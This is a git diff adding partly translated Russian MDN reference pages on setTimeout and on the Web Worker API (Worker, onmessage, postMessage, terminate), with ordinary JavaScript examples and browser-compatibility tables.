+  @if (@_jscript_version &lt;= 6)
+  (function(f){
+     window.setTimeout =f(window.setTimeout);
+     window.setInterval =f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}});
+  @end
+@*/
+</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Или используйте очень чистый подход, основанный на условном свойстве IE HTML</span></span></span>:</p>
+
+<pre class="brush: html notranslate">&lt;!--[if lte IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout =f(window.setTimeout);
+window.setInterval =f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<p>Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example:</p>
+
+<pre class="brush: js notranslate">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>Yet another possibility is to use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p>
+
+<pre class="brush: js notranslate">setTimeout(function(arg1){}.bind(undefined, 10));
+</pre>
+
+<h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2>
+
+<p>Когда вы передаете метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p>
+
+<h3 id="Объяснение">Объяснение</h3>
+
+<p>Code executed by <code>setTimeout()</code> is run in a separate execution context to the function from which it was called. As a consequence, the <code>this</code> keyword for the called function will be set to the <code>window</code> (or <code>global</code>) object; it will not be the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example:</p>
+
+<pre class="brush: js notranslate">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+// let's try to pass the 'this' object
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Как видите, нет способов передать объект</span></span></span> <code>this</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>в функцию обратного вызова.</span></span></span>.</p>
+
+<h3 id="Возможное_решение">Возможное решение</h3>
+
+<p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones which will enable their invocation through the <a href="en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p>
+
+<pre class="brush: js notranslate">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note"><strong>Note:</strong> These two replacements will also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as polyfills also. See the <a href="#Аргументы_функции_обратного_вызова">Callback arguments</a> paragraph.</div>
+
+<p>Новая тестируемая особенность:</p>
+
+<pre class="brush: js notranslate">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+</pre>
+
+<p>Это не нативные решения <em>ad hoc</em> для этой проблемы.</p>
+
+<div class="note"><strong>Note:</strong> JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/docs/JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called.</div>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Отложенное выполнение кода можно отменить, используя <code><a href="/en-US/docs/DOM/window.clearTimeout" title="en-US/docs/DOM/window.clearTimeout">window.clearTimeout()</a></code>. Если функция должна вызываться неоднократно (например, каждые N миллисекунд), необходимо использовать <code><a href="/en-US/docs/DOM/window.setInterval" title="en-US/docs/DOM/window.setInterval">window.setInterval()</a></code>.</p>
+
+<p>Важно заметить, что функция или код не могут быть выполнены, пока не завершится поток, вызвавший <code>setTimeout()</code>.</p>
+
+<h3 id="Passing_string_literals">Passing string literals</h3>
+
+<p>Передача строки вместо функции в <code>setTimeout()</code> сопряжена с теми же опасностями, что и использование <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/eval">eval</a>. </code></p>
+
+<pre class="brush: js notranslate">// Правильно
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// Неправильно
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+</pre>
+
+<p>String literals are evaluated in the global context, so local symbols in the context where <code>setTimeout()</code> was called will not be available when the string is evaluated as code.</p>
+
+<h3 id="Минимальная_максимальная_задержка_и_вложенность_таймаута"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Минимальная/ максимальная задержка и вложенность таймаута</span></span></span></h3>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10" title="http://code.google.com/p/chromium/issues/detail?id=792#c10">Historically</a> browsers implement <code>setTimeout()</code> "clamping": successive <code>setTimeout()</code> calls with <code>delay</code> smaller than the "minimum delay" limit are forced to use at least the minimum delay. The minimum delay, <code>DOM_MIN_TIMEOUT_VALUE</code>, is 4 ms (stored in a preference in Firefox: <code>dom.min_timeout_value</code>), with a <code>DOM_CLAMP_TIMEOUT_NESTING_LEVEL</code> of 5ms.</p>
+
+<p>In fact, 4ms is <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">specified by the HTML5 spec</a> and is consistent across browsers released in 2010 and onward. Prior to {{ geckoRelease("5.0") }}, the minimum timeout value for nested timeouts was 10 ms.</p>
+
+<p>In addition to "clamping", the timeout can also fire later when the page (or the OS/browser itself) is busy with other tasks.</p>
+
+<p>To implement a 0 ms timeout in a modern browser, you can use {{ domxref("window.postMessage()") }} as <a class="external" href="http://dbaron.org/log/20100309-faster-timeouts" title="http://dbaron.org/log/20100309-faster-timeouts">described here</a>.</p>
+
+<p>Browsers including Internet Explorer, Chrome, Safari, and Firefox store the delay as a 32-bit signed Integer internally. This causes an Integer overflow when using delays larger than 2147483647, resulting in the timeout being executed immediately.</p>
+
+<h4 id="Неактивные_вкладки">Неактивные вкладки</h4>
+
+<p>In {{ geckoRelease("5.0") }} and Chrome 11, timeouts are clamped to firing no more often than once per second (1000ms) in inactive tabs; see {{ bug(633421) }} for more information about this in Mozilla or <a class="external" href="http://crbug.com/66078" title="http://crbug.com/66078">crbug.com/66078</a> for details about this in Chrome.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Part of DOM level 0, as specified in <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers">HTML5</a>.</p>
+
+<h2 id="See_also" name="See_also">Также интересно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ru/web/api/worker/index.html b/files/ru/web/api/worker/index.html
new file mode 100644
index 0000000000..6ccf2b1341
--- /dev/null
+++ b/files/ru/web/api/worker/index.html
@@ -0,0 +1,145 @@
+---
+title: Worker
+slug: Web/API/Worker
+translation_of: Web/API/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Интерфейс <strong><code>Worker</code></strong> из <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> является представителем фоновой задачи, которая легко может быть создана и может передавать сообщения обратно создателю. Создание worker  - это вызов конструктора <code>Worker()</code> и задание скрипта, выполняемого в потоке worker.</p>
+
+<p>Workers могут, в свою очередь, порождать новые workers, если эти workers расположены в одном каталоге с родительской страницей (Примечание: вложенные workers в настоящее время <a href="https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/5R3B4RN4GHU">не поддерживаются в Blink</a>).  Кроме того, workers могут использовать <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> для network I/O, при условии, что атрибуты <code>responseXML</code> и <code>channel</code> <code>XMLHttpRequest</code> всегда возвращают<code> null</code>.</p>
+
+<p>Не <a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">все интерфейсы и функции могут быть использованы</a> в скрипте, ассоциированном с <code>Worker</code>.</p>
+
+<p>В Firefox, если вы хотите использовать workers в расширениях и хотели бы иметь доступ к <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, вам нужно использовать объект {{ domxref("ChromeWorker") }}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("EventTarget")}}, и поддерживает свойства из {{domxref("AbstractWorker")}}.</em></p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("ErrorEvent")}} с типом <code>error</code>. Это событие унаследовано от {{domxref("AbstractWorker")}}.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd>{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("MessageEvent")}} с типом <code>message</code> — то есть когда сообщение было отправлено воркером в родительский документ с помощью {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. Сообщение передаётся в свойстве объекта события {{domxref("MessageEvent.data", "data")}}.</dd>
+</dl>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>Создаёт dedicated web worker, выполняющий скрипт, расположенный по указаному URL. Воркеры также могут быть созданы с использованием <a href="/en-US/docs/Web/API/Blob">Blobs</a>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы своего родителя, {{domxref("EventTarget")}}, а также реализует методы {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>Отправляет сообщение — которое может являться <code>любым</code> JavaScript объектом — во внутреннюю область видимости воркера.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>Немедленно завершает выполнение воркера. Не даёт воркеру возможности завершить выполняемые операции; просто сразу останавливается. Экземпляры ServiceWorker не поддерживают этот метод.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Представленный фрагмент кода показывает создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, а также его использование:</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#worker", "Worker")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Поддержка варьируется для разных видов воркеров. Для уточнения смотрите статьи по каждому типу воркеров.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/En/Using_web_workers" title="en/Using DOM workers">Using web workers</a></li>
+ <li><a href="/En/DOM/Worker/Functions_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">Functions available to workers</a></li>
+ <li>Другие типы воркеров: {{ domxref("SharedWorker") }} и <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>.</li>
+ <li>Non-standard, Gecko-specific workers: {{ domxref("ChromeWorker") }}, used by extensions.</li>
+</ul>
diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html
new file mode 100644
index 0000000000..86db26c45f
--- /dev/null
+++ b/files/ru/web/api/worker/onmessage/index.html
@@ -0,0 +1,124 @@
+---
+title: Worker.onmessage
+slug: Web/API/Worker/onmessage
+translation_of: Web/API/Worker/onmessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Свойство <strong><code>onmessage</code></strong>  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данные события доступны в свойстве data события {{event("message")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">myWorker.onmessage = function(e) { ... }</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример кода показывает создание объекта {{domxref("Worker")}} используя конструктор {{domxref("Worker.Worker", "Worker()")}}. События попадают в объект, когда значение внутри поля ввода формы <code>first</code> изменяется. Обработчик onmessage указан для обработки сообщений, которые приходят назад из кода объекта в текущий контекст выполнения.</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение, отправленное в worker-объект');
+}
+
+myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Сообщение полученное из worker-объекта');
+}
+</pre>
+
+<p>В скрипте <code>worker.js</code>, обработчик <code>onmessage</code> используется для обработки событий, полученных из главного скрипта:</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Сообщение полученное из главного скрипта');
+  var workerResult = 'Результат: ' + (e.data[0] * e.data[1]);
+  console.log('Отправка сообщения назад в главный скрипт');
+  postMessage(workerResult);
+}</pre>
+
+<p>Посмотрите как в скрипте <code>worker.js</code> вызывается обработчик <code>onmessage</code><code>.</code> В нем присутствует только глобальное свойство <code>onmessage,</code> потому что worker-объект фактически является областью видимости ({{domxref("DedicatedWorkerGlobalScope")}}).</p>
+
+<p>Для полного примера смотрите наш <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-worker-onmessage", "Worker.onmessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Никаких изменений из {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#handler-worker-onmessage", "Worker.onmessage")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}, которому принадлежит этот обработчик.</p>
diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..1d6279b648
--- /dev/null
+++ b/files/ru/web/api/worker/postmessage/index.html
@@ -0,0 +1,163 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+tags:
+  - API
+  - JavaScript
+  - Web Workers
+  - Worker
+  - postMessage
+  - Ссылка
+  - метод
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>postMessage()</strong></code> интерфейса {{domxref("Worker")}} отправляет сообщение во внутреннее пространство <code>worker</code>-а. Метод имеет один параметр с данными для отправки в <code>worker</code>. Данные могут быть любым значением или объектом JavaScript, которые может обработать <a href="/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">алгоритм структурированного клонирования</a>, подерживающий циклические ссылки.</p>
+
+<p><code>Worker</code> может отправить обратно информацию потоку создавшему его с помощью метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">worker.postMessage(message, [transfer]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>message</em></dt>
+ <dd><code>Object</code> передаваемый в <code>worker</code>. Будет содержаться в поле <code>data</code> описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, подерживающий циклические ссылки.</dd>
+ <dt><em>transfer</em> {{optional_inline}}</dt>
+ <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передается, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd>
+ <dd>Переданные (<code>transferable</code>) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем фрагменте кода показано создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}. При изменении значений одного из двух полей формы (<code>first</code> и <code>second</code>) событием {{event("change")}} вызывается функция <code>postMessage()</code> для отправки значений полей текущему worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+</pre>
+
+<p>Больше примеров можно найти здесь: <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>postMessage()</code> может отправить только один объект за раз. Если нужно передать несколько значений, то можно отправить массив, как показано выше.</p>
+</div>
+
+<h3 id="Пример_с_Transfer">Пример с Transfer</h3>
+
+<p>В этом примере показано дополнение Firefox, которое передает <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передает его обратно в основной поток.</p>
+
+<h4 id="Код_основного_потока">Код основного потока:</h4>
+
+<pre class="brush: js">var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('входящее сообщение от работника:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Создание и отправка буфера
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // буфер который передается 3 строками ниже
+    },
+    [
+        arrBuf // буфер созданный на строке 9
+    ]
+);
+
+console.info('arrBuf.byteLength, ПОСЛЕ передачи:', arrBuf.byteLength);
+</pre>
+
+<h4 id="Код_Worker-а">Код Worker-а</h4>
+
+<pre class="brush: js">self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('от рабочего, ДО отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+}
+</pre>
+
+<h4 id="Лог_консоли">Лог консоли</h4>
+
+<pre>arrBuf.byteLength, ДО передачи: 8                               bootstrap.js:40
+arrBuf.byteLength, ПОСЛЕ передачи: 0                            bootstrap.js:42
+
+от рабочего, ДО отправки обратно, aBuf.byteLength: 8            myWorker.js:5:2
+
+входящее сообщение от работника: message { ... }                bootstrap.js:20
+буфер вернулся в основной поток, aBuf.byteLength: 8             bootstrap.js:12
+
+от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength: 0         myWorker.js:7:2</pre>
+
+<p><code>byteLength</code> равен 0 потому, что это переданный (<code>transferable</code>) объект. Полный пример демо дополнения Firefox можно найти здесь: <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Worker.postMessage")}}</p>
+
+<p>[1] Internet Explorer не поддерживает {{domxref("Transferable")}} объекты.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Worker")}}</li>
+</ul>
diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html
new file mode 100644
index 0000000000..68c93a7b08
--- /dev/null
+++ b/files/ru/web/api/worker/terminate/index.html
@@ -0,0 +1,64 @@
+---
+title: Worker.terminate()
+slug: Web/API/Worker/terminate
+tags:
+  - API
+  - Reference
+  - Web Workers
+  - Worker
+  - terminate
+  - Ссылка
+  - метод
+translation_of: Web/API/Worker/terminate
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не дается возможность завершить свою работу, он останавливается сразу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">myWorker.terminate();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем фрагменте кода показано создание потока {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, который немедленно завершается.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+myWorker.terminate();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.terminate()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Worker.terminate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}.</p>
